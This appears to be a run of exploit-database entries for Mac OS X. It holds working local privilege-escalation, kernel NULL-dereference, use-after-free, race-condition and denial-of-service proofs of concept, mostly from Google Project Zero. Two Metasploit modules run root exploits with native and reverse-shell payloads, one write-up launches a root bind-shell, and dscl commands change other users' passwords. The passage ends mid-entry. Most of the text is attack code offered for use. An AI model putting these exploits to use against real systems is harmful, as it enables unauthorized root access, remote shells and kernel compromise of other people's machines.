Apple Mac OS X Lion is prone to multiple security-bypass vulnerabilities.

Local attackers can exploit these issues to obtain sensitive information or change the password of other users on the computer, without sufficient privileges. 

$ dscl localhost -read /Search/Users/bob

$ dscl localhost -passwd /Search/Users/<username> 
            
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=512

IOUserClient::connectClient is an obscure IOKit method which according to the docs is supposed to "Inform a connection of a second connection."

In fact IOKit provides no default implementation and only a handful of userclients actually implement it, and it's pretty much up to them
to define the semantics of what "informing the connection of a second connection" actually means.

One of the userclients which implements connectClient is IOAccelContext2 which is the parent of the IGAccelContext userclient family
(which are the intel GPU accelerator userclients.)

IOUserClient::connectClient is exposed to userspace as IOConnectAddClient.

Here's the relevant kernel code from IOAcceleratorFamily2:

__text:00000000000057E6 ; __int64 __fastcall IOAccelContext2::connectClient(IOAccelContext2 *__hidden this, IOUserClient *)
__text:00000000000057E6                 public __ZN15IOAccelContext213connectClientEP12IOUserClient
__text:00000000000057E6 __ZN15IOAccelContext213connectClientEP12IOUserClient proc near
__text:00000000000057E6                                         ; DATA XREF: __const:000000000003BEE8o
__text:00000000000057E6                                         ; __const:000000000003D2D80o ...
__text:00000000000057E6                 push    rbp
__text:00000000000057E7                 mov     rbp, rsp
__text:00000000000057EA                 push    r15
__text:00000000000057EC                 push    r14
__text:00000000000057EE                 push    r12
__text:00000000000057F0                 push    rbx
__text:00000000000057F1                 mov     rbx, rdi
__text:00000000000057F4                 mov     r14d, 0E00002C2h
__text:00000000000057FA                 cmp     qword ptr [rbx+510h], 0
__text:0000000000005802                 jnz     loc_590F
__text:0000000000005808                 lea     rax, __ZN24IOAccelSharedUserClient29metaClassE ; IOAccelSharedUserClient2::metaClass
__text:000000000000580F                 mov     rax, [rax]
__text:0000000000005812                 mov     rdi, rsi             ; <-- (a)
__text:0000000000005815                 mov     rsi, rax
__text:0000000000005818                 call    __ZN15OSMetaClassBase12safeMetaCastEPKS_PK11OSMetaClass ; OSMetaClassBase::safeMetaCast(OSMetaClassBase const*,OSMetaClass const*)
__text:000000000000581D                 mov     r15, rax             ; <-- (b)
__text:0000000000005820                 mov     r12, [rbx+518h]
__text:0000000000005827                 cmp     r12, [r15+0F8h]      ; <-- (c)
__text:000000000000582E                 jnz     loc_590F
__text:0000000000005834                 mov     rax, [r15+0E0h]
__text:000000000000583B                 mov     r14d, 0E00002BCh     
__text:0000000000005841                 cmp     rax, [rbx+4E8h]      ; <-- (d)
__text:0000000000005848                 jnz     loc_590F
...
__text:0000000000005879                 mov     rdi, [r15+100h]      
__text:0000000000005880                 mov     [rbx+510h], rdi
__text:0000000000005887                 mov     rax, [rdi]
__text:000000000000588A                 call    qword ptr [rax+20h]  ; <-- (e)

At (a) we completely control the type of userclient which rsi points to (by passing a userclient io_connect_t to IOConnectAddClient.)
safeMetaCast will either return the MetaClassBase of the cast if it's valid, or NULL if it isn't. A valid cast would be an object
which inherits from IOAccelSharedUserClient2. If we pass an object which doesn't inherit from that then this will return NULL.

The "safeMetaCast" is only "safe" if the return value is checked but as you can see at (b) and (c) the return value of safeMetaCast
is used without any checking.

At (c) the qword value at 0xf8 offset from NULL is compared with this+0x518. That value is a pointer to an IntelAccelerator object on the heap.
In order to get past this check towards the more interesting code later on we need to be able to guess this pointer. Fortunately, nothing
untoward will happen if we guess incorrectly, and in practice we only need to try around 65k guess, even with kASLR :) Even so, there's *another*
check we have to pass at (d) also comparing against a heap pointer. Again we can guess this, but having to make two guesses each time
leads to an exponential slowdown... Except, notice that just before making the cmp at (d) r14d was set to 0xE00002BC; this is actually
the IOKit error code and gets returned to userspace! This means that we can actually make our brute-force attempts independent by checking the return
value to determine if we made it past the first check, and only then start guessing the second pointer.

In reality you can guess both the pointers in a few seconds.

After passing the cmp at (d) the code goes on to read a vtable pointer at NULL and call a virtual function at an address we can control :)

Tested on OS X 10.10.5 (14F27)
*/

// ianbeer

// build:clang -o client_connect client_connect.c -m32 -framework IOKit -g -pagezero_size 0x0

/*
Failure to check return value of OSMetaClassBase::safeMetaCast in IOAccelContext2::connectClient leads to
kernel address space layout leak and exploitable NULL dereference

IOUserClient::connectClient is an obscure IOKit method which according to the docs is supposed to "Inform a connection of a second connection."

In fact IOKit provides no default implementation and only a handful of userclients actually implement it, and it's pretty much up to them
to define the semantics of what "informing the connection of a second connection" actually means.

One of the userclients which implements connectClient is IOAccelContext2 which is the parent of the IGAccelContext userclient family
(which are the intel GPU accelerator userclients.)

IOUserClient::connectClient is exposed to userspace as IOConnectAddClient.

Here's the relevant kernel code from IOAcceleratorFamily2:

__text:00000000000057E6 ; __int64 __fastcall IOAccelContext2::connectClient(IOAccelContext2 *__hidden this, IOUserClient *)
__text:00000000000057E6                 public __ZN15IOAccelContext213connectClientEP12IOUserClient
__text:00000000000057E6 __ZN15IOAccelContext213connectClientEP12IOUserClient proc near
__text:00000000000057E6                                         ; DATA XREF: __const:000000000003BEE8o
__text:00000000000057E6                                         ; __const:000000000003D2D80o ...
__text:00000000000057E6                 push    rbp
__text:00000000000057E7                 mov     rbp, rsp
__text:00000000000057EA                 push    r15
__text:00000000000057EC                 push    r14
__text:00000000000057EE                 push    r12
__text:00000000000057F0                 push    rbx
__text:00000000000057F1                 mov     rbx, rdi
__text:00000000000057F4                 mov     r14d, 0E00002C2h
__text:00000000000057FA                 cmp     qword ptr [rbx+510h], 0
__text:0000000000005802                 jnz     loc_590F
__text:0000000000005808                 lea     rax, __ZN24IOAccelSharedUserClient29metaClassE ; IOAccelSharedUserClient2::metaClass
__text:000000000000580F                 mov     rax, [rax]
__text:0000000000005812                 mov     rdi, rsi             ; <-- (a)
__text:0000000000005815                 mov     rsi, rax
__text:0000000000005818                 call    __ZN15OSMetaClassBase12safeMetaCastEPKS_PK11OSMetaClass ; OSMetaClassBase::safeMetaCast(OSMetaClassBase const*,OSMetaClass const*)
__text:000000000000581D                 mov     r15, rax             ; <-- (b)
__text:0000000000005820                 mov     r12, [rbx+518h]
__text:0000000000005827                 cmp     r12, [r15+0F8h]      ; <-- (c)
__text:000000000000582E                 jnz     loc_590F
__text:0000000000005834                 mov     rax, [r15+0E0h]
__text:000000000000583B                 mov     r14d, 0E00002BCh     
__text:0000000000005841                 cmp     rax, [rbx+4E8h]      ; <-- (d)
__text:0000000000005848                 jnz     loc_590F
...
__text:0000000000005879                 mov     rdi, [r15+100h]      
__text:0000000000005880                 mov     [rbx+510h], rdi
__text:0000000000005887                 mov     rax, [rdi]
__text:000000000000588A                 call    qword ptr [rax+20h]  ; <-- (e)

At (a) we completely control the type of userclient which rsi points to (by passing a userclient io_connect_t to IOConnectAddClient)
safeMetaCast will either return the MetaClassBase of the cast if it's valid, or NULL if it isn't. A valid cast would be an object
which inherits from IOAccelSharedUserClient2. If we pass an object which doesn't inherit from that then this will return NULL.

The "safeMetaCast" is only "safe" if the return value is checked but as you can see at (b) and (c) the return value of safeMetaCast
is used without any checking.

At (c) the qword value at 0xf8 offset from NULL is compared with this+0x518. That value is a pointer to an IntelAccelerator object on the heap.
In order to get past this check towards the more interesting code later on we need to be able to guess this pointer. Fortunately, nothing
untoward will happen if we guess incorrectly, and in practise we only need to try around 65k guess, even with kASLR :) Even so, there's *another*
check we have to pass at (d) also comparing against a heap pointer. Again we can guess this, but having to make two guesses each time
leads to an exponential slowdown... Except, notice that just before making the cmp at (d) r14d was set to 0xE00002BC; this is actually
the IOKit error code and gets returned to userspace! This means that we can actually make our brute-force attempts independent by checking the return
value to determine if we made it past the first check, and only then start guessing the second pointer.

In reality you can guess both the pointers in a few seconds.

After passing the cmp at (d) the code goes on to read a vtable pointer at NULL and call a virtual function at an address we can control :)

Tested on OS X 10.10.5 (14F27)
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/mman.h>

#include <mach/mach.h>
#include <mach/vm_map.h>

#include <IOKit/IOKitLib.h>

io_connect_t get_accel_connection() {
  kern_return_t err;

  CFMutableDictionaryRef matching = IOServiceMatching("IntelAccelerator");
  if(!matching){
    printf("unable to create service matching dictionary\n");
    return 0;
  }

  io_iterator_t iterator;
  err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
  if (err != KERN_SUCCESS){
    printf("no matches\n");
    return 0;
  }

  io_service_t service = IOIteratorNext(iterator);

  if (service == IO_OBJECT_NULL){
    printf("unable to find service\n");
    return 0;
  }
  printf("got service: %x\n", service);
  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), 1, &conn);
  if (err != KERN_SUCCESS){
    printf("unable to get user client connection\n");
    return 0;
  }else{
    printf("got userclient connection: %x, type:%d\n", conn, 0);
  }
  
  printf("got userclient connection: %x\n", conn);
  return conn;
}

io_connect_t get_some_client() {
  kern_return_t err;

  CFMutableDictionaryRef matching = IOServiceMatching("AppleRTC");
  if(!matching){
    printf("unable to create service matching dictionary\n");
    return 0;
  }

  io_iterator_t iterator;
  err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
  if (err != KERN_SUCCESS){
    printf("no matches\n");
    return 0;
  }

  io_service_t service = IOIteratorNext(iterator);

  if (service == IO_OBJECT_NULL){
    printf("unable to find service\n");
    return 0;
  }
  printf("got service: %x\n", service);
  
  io_connect_t conn = MACH_PORT_NULL;
  err = IOServiceOpen(service, mach_task_self(), 0, &conn);
  if (err != KERN_SUCCESS){
    printf("unable to get user client connection\n");
    return 0;
  }else{
    printf("got userclient connection: %x, type:%d\n", conn, 0);
  }
  
  printf("got userclient connection: %x\n", conn);
  return conn;
}

kern_return_t guess_first(uint64_t guess, io_connect_t a, io_connect_t b) {
  uint64_t* fake_obj = 0;
  fake_obj[0xf8/8] = guess;

  return IOConnectAddClient(a, b);
}

// need to make something like 65k guesses in the worst cast to find the IntelAccelerator object
// (it's page aligned and we search a 512MB region)
uint64_t find_intel_accelerator_addr(io_connect_t a, io_connect_t b) {
  uint64_t guess = 0xffffff8010000000;
  while (guess < 0xffffff8030000000) {
    printf("trying 0x%llx\n", guess);
    if (guess_first(guess, a, b) == 0xe00002bc) {
      printf("got it: 0x%llx\n", guess);
      return guess;
    }
    guess += 0x1000;
  }
  printf("no luck\n");
  return 0;
}

kern_return_t guess_second(uint64_t guess, uint64_t accel_addr, io_connect_t a, io_connect_t b) {
  uint64_t* fake_obj = 0;
  fake_obj[0xf8/8] = accel_addr;

  fake_obj[0xe0/8] = guess;

  return IOConnectAddClient(a, b);
}

uint64_t find_second_addr(uint64_t accel_addr, io_connect_t a, io_connect_t b) {
  uint64_t guess = accel_addr - 0x1000000; // reasonable place to start guessing
  while (guess < 0xffffff8030000000) {
    printf("trying 0x%llx\n", guess);
    if (guess_second(guess, accel_addr, a, b) != 0xe00002bc) {
      // not reached: we will call retain on the object at NULL now
      // and will kernel panic reading the function pointer from the vtable at 414141...
      printf("got it: 0x%llx\n", guess);
      return guess;
    }
    guess += 0x10;
  }
  printf("no luck\n");
  return 0;
}

int main(){
  kern_return_t err;

  // re map the null page rw
  int var = 0;
  err = vm_deallocate(mach_task_self(), 0x0, 0x1000);
  if (err != KERN_SUCCESS){
    printf("%x\n", err);
  }
  vm_address_t addr = 0;
  err = vm_allocate(mach_task_self(), &addr, 0x1000, 0);
  if (err != KERN_SUCCESS){
    if (err == KERN_INVALID_ADDRESS){
      printf("invalid address\n");
    }
    if (err == KERN_NO_SPACE){
      printf("no space\n");
    }
    printf("%x\n", err);
  }
  char* np = 0;
  for (int i = 0; i < 0x1000; i++){
    np[i] = 'A';
  }

  io_connect_t accel_connect = get_accel_connection();

  // create an unrelated client 
  io_connect_t a_client = get_some_client();

  uint64_t first_addr = find_intel_accelerator_addr(accel_connect, a_client);
  uint64_t second_addr = find_second_addr(first_addr, accel_connect, a_client);
  return 0;
}
            
// source: https://www.securityfocus.com/bid/67023/info

Apple Mac OS X is prone to a local security-bypass vulnerability.

Attackers can exploit this issue to bypass certain security restrictions and perform unauthorized actions.

Apple Mac OS X 10.9.2 is vulnerable; other versions may also be affected. 

#include <stdio.h>
#include <strings.h>
#include <sys/shm.h>

int main(int argc, char *argv[])
{
  int shm = shmget( IPC_PRIVATE, 0x1337, SHM_R | SHM_W );

  if (shm < 0)
    {
      printf("shmget: failed");
      return 6;
    }

  struct shmid_ds lolz;

  int res = shmctl( shm, IPC_STAT, &lolz );
  if (res < 0)
    {
      printf("shmctl: failed");
      return 1;
    }

  printf( "%p\n", lolz.shm_internal );

}
            
/*
 * 2015, Maxime Villard, CVE-2015-1100
 * Local DoS caused by a missing limit check in the fat loader of the Mac OS X
 * Kernel.
 *
 *  $ gcc -o Mac-OS-X_Fat-DoS Mac-OS-X_Fat-DoS.c
 *  $ ./Mac-OS-X_Fat-DoS BINARY-NAME
 *
 * Obtained from: http://m00nbsd.net/garbage/Mac-OS-X_Fat-DoS.c
 * Analysis:      http://m00nbsd.net/garbage/Mac-OS-X_Fat-DoS.txt
 */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <spawn.h>
#include <unistd.h>
#include <err.h>
#include <mach-o/fat.h>
#include <sys/stat.h>

#define MAXNUM (4096)
#define MAXNUM0 (OSSwapBigToHostInt32(MAXNUM))

void CraftBinary(char *name)
{
  struct fat_header fat_header;
  struct fat_arch *arches;
  size_t i;
  int fd;

  memset(&fat_header, 0, sizeof(fat_header));
  fat_header.magic = FAT_MAGIC;
  fat_header.nfat_arch = 4096;

  if ((arches = calloc(MAXNUM0, sizeof(struct fat_arch))) == NULL)
    err(-1, "calloc");
  for (i = 0; i < MAXNUM0; i++)
    arches[i].cputype = CPU_TYPE_I386;

  if ((fd = open(name, O_CREAT|O_RDWR)) == -1)
    err(-1, "open");
  if (write(fd, &fat_header, sizeof(fat_header)) == -1)
    err(-1, "write");
  if (write(fd, arches, sizeof(struct fat_arch) * MAXNUM0) == -1)
    err(-1, "write");
  if (fchmod(fd, S_IXUSR) == -1)
    err(-1, "fchmod");
  close(fd);
  free(arches);
}

void SpawnBinary(char *name)
{
  cpu_type_t cpus[] = { CPU_TYPE_HPPA, 0 };
  char *argv[] = { "Crazy Horse", NULL };
  char *envp[] = { NULL };
  posix_spawnattr_t attr;  
  size_t set = 0;
  int ret;

  if (posix_spawnattr_init(&attr) == -1)
    err(-1, "posix_spawnattr_init");
  if (posix_spawnattr_setbinpref_np(&attr, 2, cpus, &set) == -1)
    err(-1, "posix_spawnattr_setbinpref_np");
  fprintf(stderr, "----------- Goodbye! -----------\n");
  ret = posix_spawn(NULL, name, NULL, &attr, argv, envp);
  fprintf(stderr, "Hum, still alive. You are lucky today! ret = %d\n", ret);
}

int main(int argc, char *argv[])
{
  if (argc != 2) {
    printf("Usage: %s BINARY-NAME\n", argv[0]);
  } else {
    CraftBinary(argv[1]);
    SpawnBinary(argv[1]);
  }
}
            
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=562

Opening userclient type 12 of IOSCSIPeripheralDeviceType00 leads to an exploitable kernel NULL dereference.

Tested on OS X 10.11 ElCapitan (15a284) on MacBookAir5,2
*/

// ianbeer
// clang -o scsi_peripheral scsi_peripheral.c -m32 -framework IOKit -g -pagezero_size 0x0

/*
Opening userclient type 12 of IOSCSIPeripheralDeviceType00 leads to an exploitable kernel NULL dereference

Tested on OS X 10.11 ElCapitan (15a284) on MacBookAir5,2
*/

#include <stdio.h>
#include <stdlib.h>

#include <mach/mach.h>
#include <mach/vm_map.h>
#include <sys/mman.h>

#include <unistd.h>

#include <IOKit/IOKitLib.h>

io_connect_t conn = MACH_PORT_NULL;

int main() {
  kern_return_t err;
  // re map the null page rw
  int var = 0;
  err = vm_deallocate(mach_task_self(), 0x0, 0x1000);
  if (err != KERN_SUCCESS){
    printf("%x\n", err);
  }
  vm_address_t addr = 0;
  err = vm_allocate(mach_task_self(), &addr, 0x1000, 0);
  if (err != KERN_SUCCESS){
    if (err == KERN_INVALID_ADDRESS){
      printf("invalid address\n");
    }
    if (err == KERN_NO_SPACE){
      printf("no space\n");
    }
    printf("%x\n", err);
  }
  char* np = 0;
  for (int i = 0; i < 0x1000; i++){
    np[i] = 'A';
  }


  io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching("IOSCSIPeripheralDeviceType00"));
  if (service == MACH_PORT_NULL) {
    printf("can't find service\n");
    return 0;
  }

  IOServiceOpen(service, mach_task_self(), 12, &conn);  // <-- userclient type 12
  if (conn == MACH_PORT_NULL) {
    printf("can't connect to service\n");
    return 0;
  }

  printf("boom?\n");

  return 0;
}
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'rex'

class Metasploit3 < Msf::Exploit::Local
  Rank = ManualRanking # Can cause kernel crash

  include Msf::Post::File
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info={})
    super(update_info(info,
      'Name'          => 'Mac OS X IOKit Keyboard Driver Root Privilege Escalation',
      'Description'   => %q{
        A heap overflow in IOHIKeyboardMapper::parseKeyMapping allows kernel memory
        corruption in Mac OS X before 10.10. By abusing a bug in the IORegistry, kernel
        pointers can also be leaked, allowing a full kASLR bypass.

        Tested on Mavericks 10.9.5, and should work on previous versions.

        The issue has been patched silently in Yosemite.
      },
      'License'       => MSF_LICENSE,
      'Author'        =>
        [
          'Ian Beer', # discovery, advisory, publication, and a most excellent blog post
          'joev' # copy/paste monkey
        ],
      'References'    =>
        [
          [ 'CVE', '2014-4404' ],
          [ 'URL', 'http://googleprojectzero.blogspot.com/2014/11/pwn4fun-spring-2014-safari-part-ii.html' ],
          # Heap overflow:
          [ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=40' ],
          # kALSR defeat:
          [ 'URL', 'https://code.google.com/p/google-security-research/issues/detail?id=126' ]
        ],
      'Platform'      => 'osx',
      'Arch'          => ARCH_X86_64,
      'SessionTypes'  => [ 'shell', 'meterpreter' ],
      'Targets'       => [
        [ 'Mac OS X 10.9.5 Mavericks x64 (Native Payload)', { } ]
      ],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Sep 24 2014'
    ))
  end

  def check
    if ver_lt(osx_ver, "10.10")
      Exploit::CheckCode::Vulnerable
    else
      Exploit::CheckCode::Safe
    end
  end

  def exploit
    exploit_path = File.join(Msf::Config.install_root, 'data', 'exploits', 'CVE-2014-4404')
    binary_exploit = File.read(File.join(exploit_path, 'key_exploit'))
    binary_payload   = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
    exploit_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
    payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"

    print_status("Writing exploit file as '#{exploit_file}'")
    write_file(exploit_file, binary_exploit)
    register_file_for_cleanup(exploit_file)

    print_status("Writing payload file as '#{payload_file}'")
    write_file(payload_file, binary_payload)
    register_file_for_cleanup(payload_file)

    print_status("Executing payload...")
    cmd_exec("chmod +x #{exploit_file}")
    cmd_exec("chmod +x #{payload_file}")
    cmd_exec("#{exploit_file} #{payload_file}")
  end

  def osx_ver
    cmd_exec("sw_vers -productVersion").to_s.strip
  end

  def ver_lt(a, b)
    Gem::Version.new(a) < Gem::Version.new(b)
  end

end
            
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=572

The OS* data types (OSArray etc) are explicity not thread safe; they rely on their callers to implement the required locking
to serialize all accesses and manipulations of them. By sending two spoofed no-more-senders notifications on two threads at the
same time we can cause parallel calls to OSArray::removeObject with no locks which is unsafe. In this particular case you might see two threads
both passing the index >= count check in OSArray::removeObject (when count = 1 and index = 0) but then both decrementing count leading to an OSArray with
a count of 0xffffffff leading to memory corruption when trying to shift the array contents.

repro: while true; do ./iospoof_bluepacketlog; done

Tested on OS X 10.11 ElCapitan (15A284) on MacBookAir 5,2
*/

// ianbeer
// clang -o iospoof_bluepacketlog iospoof_bluepacketlog.c -framework IOKit
// boot-args debug=0x144 -v pmuflags=1 kdp_match_name=en3 gzalloc_min=100 gzalloc_max=300 -no-zp

/*
Spoofed no-more-senders notifications with IOBluetoothHCIPacketLogUserClient leads to unsafe parallel OSArray manipulation

The OS* data types (OSArray etc) are explicity not thread safe; they rely on their callers to implement the required locking
to serialize all accesses and manipulations of them. By sending two spoofed no-more-senders notifications on two threads at the
same time we can cause parallel calls to OSArray::removeObject with no locks which is unsafe. In this particular case you might see two threads
both passing the index >= count check in OSArray::removeObject (when count = 1 and index = 0) but then both decrementing count leading to an OSArray with
a count of 0xffffffff leading to memory corruption when trying to shift the array contents.

repro: while true; do ./iospoof_bluepacketlog; done
*/ 

#include <stdio.h>
#include <stdlib.h>

#include <mach/mach.h>
#include <mach/thread_act.h>

#include <pthread.h>
#include <unistd.h>

#include <IOKit/IOKitLib.h>

io_connect_t conn = MACH_PORT_NULL;

int start = 0;

struct spoofed_notification {
  mach_msg_header_t header;
  NDR_record_t NDR;
  mach_msg_type_number_t no_senders_count;
};

struct spoofed_notification msg = {0};

void send_message() {
  mach_msg(&msg,
           MACH_SEND_MSG,
           msg.header.msgh_size,
           0,
           MACH_PORT_NULL,
           MACH_MSG_TIMEOUT_NONE,
           MACH_PORT_NULL);
}

void go(void* arg){

  while(start == 0){;}

  usleep(1);

  send_message();
}

int main(int argc, char** argv) {
  char* service_name = "IOBluetoothHCIController";
  int client_type = 1;

  io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(service_name));
  if (service == MACH_PORT_NULL) {
    printf("can't find service\n");
    return 0;
  }

  IOServiceOpen(service, mach_task_self(), client_type, &conn);
  if (conn == MACH_PORT_NULL) {
    printf("can't connect to service\n");
    return 0;
  }

  pthread_t t;
  int arg = 0;
  pthread_create(&t, NULL, (void*) go, (void*) &arg);

  // build the message:
  msg.header.msgh_size = sizeof(struct spoofed_notification);
  msg.header.msgh_local_port = conn;
  msg.header.msgh_remote_port = conn;
  msg.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_COPY_SEND);
  msg.header.msgh_id = 0106;
  
  msg.no_senders_count = 1000;

  usleep(100000);

  start = 1;

  send_message();

  pthread_join(t, NULL);

  return 0;
}
            
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=597

It turns out that the spoofed no-more-senders notification bug when applied to iokit objects
was actually just a more complicated way to hit ::clientClose in parallel. We can in fact
do this very simply by calling IOServiceClose on two threads :)

Like the spoofed notifications this leads to many bugs in many userclients, the exact nature
of which depends on the semantics of the clientClose implementation.

In this particular case we hit a kernel UaF.

Tested on El Capitan 10.10.1 15b42 on MacBookAir 5,2

repro: while true; do ./ioparallel_close; done
*/

// ianbeer

// clang -o ioparallel_close ioparallel_close.c -lpthread -framework IOKit
/*
io_service_close leads to potentially dangerous IOKit methods being called without locks

It turns out that the spoofed no-more-senders notification bug when applied to iokit objects
was actually just a more complicated way to hit ::clientClose in parallel. We can in fact
do this very simply by calling IOServiceClose on two threads :)

Like the spoofed notifications this leads to many bugs in many userclients, the exact nature
of which depends on the semantics of the clientClose implementation.

In this particular case we hit a kernel UaF.

Tested on El Capitan 10.10.1 15b42 on MacBookAir 5,2

repro: while true; do ./ioparallel_close; done
*/ 

#include <stdio.h>
#include <stdlib.h>

#include <mach/mach.h>
#include <mach/thread_act.h>

#include <pthread.h>
#include <unistd.h>

#include <IOKit/IOKitLib.h>

io_connect_t conn = MACH_PORT_NULL;

int start = 0;

void close_it(io_connect_t conn) {
  IOServiceClose(conn);
}

void go(void* arg){

  while(start == 0){;}

  usleep(1);

  close_it(*(io_connect_t*)arg);
}

int main(int argc, char** argv) {
  char* service_name = "IntelAccelerator";
  int client_type = 4;

  io_service_t service = IOServiceGetMatchingService(kIOMasterPortDefault, IOServiceMatching(service_name));
  if (service == MACH_PORT_NULL) {
    printf("can't find service\n");
    return 0;
  }

  IOServiceOpen(service, mach_task_self(), client_type, &conn);
  if (conn == MACH_PORT_NULL) {
    printf("can't connect to service\n");
    return 0;
  }

  pthread_t t;
  io_connect_t arg = conn;
  pthread_create(&t, NULL, (void*) go, (void*) &arg);

  usleep(100000);

  start = 1;

  close_it(conn);

  pthread_join(t, NULL);

  return 0;
}
            
Source: https://code.google.com/p/google-security-research/issues/detail?id=314

The private Install.framework has a few helper executables in /System/Library/PrivateFrameworks/Install.framework/Resources,
one of which is suid root:

-rwsr-sr-x   1 root  wheel   113K Oct  1  2014 runner

Taking a look at it we can see that it's vending an objective-c Distributed Object :)
[ https://developer.apple.com/library/mac/documentation/Cocoa/Conceptual/DistrObjects/DistrObjects.html ]

The main function immediately temporarily drops privs doing
  seteuid(getuid()); setegid(getgid());

then reads line from stdin. It passes this to NSConnection rootProxyForConnectionWithRegisteredName to lookup that
name in the DO namespace and create a proxy to connect to it via.

It then allocates an IFInstallRunner which in its init method vends itself using a name made up of its pid, time() and random()

It then calls the setRunnerConnectionName method on the proxy to tell it the IFInstallRunner's DO name so that whoever
ran the runner can connect to the IFInstallRunner.

The IFRunnerMessaging protocol tells us the methods and prototypes of the remote methods we can invoke on the IFInstallRunner.

Most of the methods begin with a call to processKey which will set the euid back to root if the process can provide a valid admin
authorization reference from authd (I'm not totally sure how that bit works yet, but it's not important for the bug.) Otherwise the euid
will remain equal to the uid and the methods (like movePath, touchPath etc) will only run with the privs of the user.

The methods then mostly end with a call to restoreUIDs which will drop back to euid==uid if we did temporarily regain root privs (with the auth ref.)

Not all methods we can invoke are like that though...

IFInstallRunner setExternalAuthorizationRef calls

  seteuid(0);setegid(0);

to regain root privs without requiring any auth. It then calls AuthorizationCreateFromExternalForm passing the bytes of an NSData we give it.

If that call doesn't return 0 then the error branch calls syslog with the string: "Fatal error: unable to internalize authorization reference."
but there's actually nothing fatal, it just returns from the method, whereas the success branch goes on to restore euid and egid, which means
that if we can get AuthorizationCreateFromExternalForm to fail then we can get the priv dropping-regaining state machine out-of-sync :)

Getting AuthorizationCreateFromExternalForm to fail is trivial, just provide a malformed auth_ref (like "AAAAAAAAAAAAAAAAAAA" )

Now the next method we invoke will run with euid 0 even without having the correct auth ref :)

This PoC first calls setBatonPath to point the baton executable path to a localhost bind-shell then triggers the bug
and calls runTaskSecurely which will create an NSTask and launch the bind-shell with euid 0 :) We can then just nc to it and get a root shell

tl;dr:
the error path in setExternalAuthorizationRef should either be fatal or drop privs!

Make sure you have the latest xcode installed and run the get_shell.sh script to build and run the PoC.

Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/38138.zip
            
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit4 < Msf::Exploit::Local

  Rank = GreatRanking

  include Msf::Post::OSX::System
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Mac OS X "Rootpipe" Privilege Escalation',
      'Description'    => %q{
        This module exploits a hidden backdoor API in Apple's Admin framework on
        Mac OS X to escalate privileges to root. Dubbed "Rootpipe."

        Tested on Yosemite 10.10.2 and should work on previous versions.

        The patch for this issue was not backported to older releases.

        Note: you must run this exploit as an admin user to escalate to root.
      },
      'Author'         => [
        'Emil Kvarnhammar', # Vulnerability discovery and PoC
        'joev',             # Copy/paste monkey
        'wvu'               # Meta copy/paste monkey
      ],
      'References'     => [
        ['CVE',   '2015-1130'],
        ['OSVDB', '114114'],
        ['EDB',   '36692'],
        ['URL',   'https://truesecdev.wordpress.com/2015/04/09/hidden-backdoor-api-to-root-privileges-in-apple-os-x/']
      ],
      'DisclosureDate' => 'Apr 9 2015',
      'License'        => MSF_LICENSE,
      'Platform'       => 'osx',
      'Arch'           => ARCH_X86_64,
      'SessionTypes'   => ['shell'],
      'Targets'        => [
        ['Mac OS X 10.9-10.10.2', {}]
      ],
      'DefaultTarget'  => 0,
      'DefaultOptions' => {
        'PAYLOAD' => 'osx/x64/shell_reverse_tcp',
        'CMD'     => '/bin/zsh'
      }
    ))

    register_options([
      OptString.new('PYTHON',      [true, 'Python executable', '/usr/bin/python']),
      OptString.new('WritableDir', [true, 'Writable directory', '/.Trashes'])
    ])
  end

  def check
    (ver? && admin?) ? Exploit::CheckCode::Vulnerable : Exploit::CheckCode::Safe
  end

  def exploit
    print_status("Writing exploit to `#{exploit_file}'")
    write_file(exploit_file, python_exploit)
    register_file_for_cleanup(exploit_file)

    print_status("Writing payload to `#{payload_file}'")
    write_file(payload_file, binary_payload)
    register_file_for_cleanup(payload_file)

    print_status('Executing exploit...')
    cmd_exec(sploit)
    print_status('Executing payload...')
    cmd_exec(payload_file)
  end

  def ver?
    Gem::Version.new(get_sysinfo['ProductVersion']).between?(
      Gem::Version.new('10.9'), Gem::Version.new('10.10.2')
    )
  end

  def admin?
    cmd_exec('groups | grep -wq admin && echo true') == 'true'
  end

  def sploit
    "#{datastore['PYTHON']} #{exploit_file} #{payload_file} #{payload_file}"
  end

  def python_exploit
    File.read(File.join(
      Msf::Config.data_directory, 'exploits', 'CVE-2015-1130', 'exploit.py'
    ))
  end

  def binary_payload
    Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
  end

  def exploit_file
    @exploit_file ||=
      "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"
  end

  def payload_file
    @payload_file ||=
      "#{datastore['WritableDir']}/#{Rex::Text.rand_text_alpha(8)}"
  end

end
            
/*
Source: https://code.google.com/p/google-security-research/issues/detail?id=511

